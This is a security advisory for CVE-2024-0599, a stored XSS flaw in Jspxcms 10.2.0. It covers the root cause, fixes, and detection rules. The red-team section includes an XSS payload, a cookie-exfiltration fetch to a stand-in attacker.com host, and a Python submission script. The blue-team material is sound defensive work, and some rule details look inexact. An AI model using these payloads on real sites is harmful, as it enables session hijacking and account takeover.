CVE-2024-0599

Executive Summary

CVE-2024-0599 is a stored cross-site scripting (XSS) vulnerability identified in Jspxcms version 10.2.0. The flaw resides in the InfoController.java file within the document management functionality, where the title parameter is insufficiently sanitized. An authenticated attacker with low privileges can inject arbitrary JavaScript or HTML into the title field, which is then stored and executed in the browsers of other users who view the affected document management page. The vulnerability has a CVSS score of 3.5 (Low), but its public exploit availability and the lack of a vendor patch elevate the risk for unpatched instances. The attack vector is network-based, requires user interaction, and impacts confidentiality and integrity minimally.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) or a WordPress plugin. Jspxcms is a Java-based content management system distributed as a standalone WAR file or source code. The supply chain risk is limited to the direct use of the affected Jspxcms version.

CVSS Breakdown & Threat Level

• CVSS Score: 3.5 (Low)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N
• Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low – No special conditions are required for exploitation.
• Privileges Required (PR): Low – An attacker needs a valid user account with document creation/editing privileges.
• User Interaction (UI): Required – The victim must view the malicious document page.
• Scope (S): Unchanged – The exploit does not affect other components.
• Confidentiality Impact (C): None – No direct data disclosure.
• Integrity Impact (I): Low – The attacker can modify the content displayed to the victim.
• Availability Impact (A): None – No denial of service.

Threat Level: Low, but elevated due to public exploit code and no patch. The attack requires authentication and user interaction, limiting the blast radius.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS in the Jspxcms document management module. The file src/main/java/com/jspxcms/core/web/back/InfoController.java handles the creation and editing of documents. The title parameter is accepted from the HTTP request and stored in the database without proper encoding or validation. When the document list or detail page is rendered, the stored title is output directly into the HTML without escaping, allowing an attacker to inject arbitrary scripts.

Attack Flow:

1. An authenticated user with document creation privileges navigates to the document management page.
2. The attacker submits a new document with a malicious payload in the title field, e.g., <script>alert('XSS')</script>.
3. The payload is stored in the database.
4. When another user (including administrators) views the document list or detail page, the payload executes in their browser.
5. The attacker can steal session cookies, perform actions on behalf of the victim, or deface the page.

Root Cause: The application fails to sanitize user input before storing it and fails to escape output when rendering. The title field is likely processed by a controller method that directly maps request parameters to entity fields without a validation layer.

Vulnerable vs. Patched Code

Vulnerable Code (Jspxcms 10.2.0):

// InfoController.java (simplified)
@PostMapping("/save")
public String save(Info info) {
    infoService.save(info);
    return "redirect:/info/list";
}

The Info object is directly populated from request parameters, and the title field is stored as-is.

Patched Code (Hypothetical):

// InfoController.java (patched)
@PostMapping("/save")
public String save(@Valid @RequestBody Info info) {
    // Sanitize title using a library like OWASP Java HTML Sanitizer
    info.setTitle(Jsoup.clean(info.getTitle(), Whitelist.basic()));
    infoService.save(info);
    return "redirect:/info/list";
}

Additionally, the view layer should use proper escaping:

<c:out value="${info.title}" />

or

${fn:escapeXml(info.title)}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Jspxcms 10.2.0 instance running.
• Valid user credentials with document creation privileges.

Exploit Steps:

1. Log in to Jspxcms.
2. Navigate to the document management section (e.g., /info/create).
3. Submit a new document with the following payload in the title field:

   <script>alert(document.cookie)</script>
   

4. Save the document.
5. Share the document link with the victim or wait for an administrator to view the document list.

Advanced Payload (Session Hijacking):

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Automated Exploit (Python):

import requests

target = "http://target.com"
session = requests.Session()
login_data = {"username": "user", "password": "pass"}
session.post(f"{target}/login", data=login_data)

payload = {"title": "<script>alert('XSS')</script>", "content": "test"}
session.post(f"{target}/info/save", data=payload)
print("Payload submitted. Trigger by visiting /info/list")

Blue Team

Detection:

• Monitor HTTP POST requests to /info/save or similar endpoints for suspicious title parameters containing <script>, onerror, javascript:, etc.
• Use WAF rules to block common XSS patterns in the title field.
• Review server logs for unusual user-agent strings or repeated document creation attempts.

Hunting:

• Query the database for documents with title containing HTML tags:

  SELECT * FROM info WHERE title LIKE '%<script>%' OR title LIKE '%onerror%';
  

• Check for outbound connections from the Jspxcms server to unknown IPs (potential data exfiltration).

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests to /info/save with title parameter containing <script>, onerror, onload, javascript:.
  • Outbound HTTP requests to attacker-controlled domains from the Jspxcms server.
• File System:
  • Log entries in catalina.out or localhost.log showing XSS payloads in request parameters.
• Database:
  • Rows in the info table where title contains HTML tags or JavaScript code.
• Memory/Process:
  • Unusual Java processes or child processes spawned by the JVM (e.g., cmd.exe, /bin/sh).

Detection Engineering

YARA Rule

rule CVE_2024_0599_Jspxcms_XSS {
    meta:
        description = "Detects XSS payloads in Jspxcms document title fields"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-0599"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
        $xss3 = /onload\s*=\s*["']?[^"'\s>]+/is
        $xss4 = /javascript\s*:\s*/is
    condition:
        any of ($xss*)
}

Sigma Rule

title: CVE-2024-0599 Jspxcms Stored XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests to Jspxcms document save endpoint with XSS payloads in title parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/info/save'
    keywords:
        - 'title='
        - '<script>'
        - 'onerror='
        - 'onload='
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of HTML in title (unlikely)
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-0599 Jspxcms Stored XSS Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/info/save"; http_uri;
    content:"title="; http_client_body;
    pcre:"/(<script|onerror|onload|javascript:)/Pi";
    sid:1000001;
    rev:1;
    reference:cve,2024-0599;
    classtype:web-application-attack;
)

Remediation & Mitigation

Immediate Actions:

1. Disable Document Creation: Temporarily restrict user permissions to prevent document creation until a patch is applied.
2. Input Validation: Implement server-side validation to reject HTML tags in the title field. Use a whitelist approach (e.g., allow only alphanumeric characters and spaces).
3. Output Encoding: Ensure all user-supplied data is HTML-encoded before rendering. In JSP, use <c:out> or fn:escapeXml().
4. WAF Rules: Deploy a Web Application Firewall (e.g., ModSecurity) with rules to block XSS payloads in POST parameters.

Long-Term Fix:

• Upgrade to a patched version of Jspxcms once available.
• If no patch is released, fork the source code and apply the fix manually:
  • In InfoController.java, sanitize the title field using a library like OWASP Java HTML Sanitizer.
  • Update all JSP templates to escape output.

Workaround:

• Use a reverse proxy (e.g., Nginx) to filter requests:

  location /info/save {
      if ($request_body ~* "(<script|onerror|onload|javascript:)") {
          return 403;
      }
  }
  

Valters IT
Securing Digital Frontiers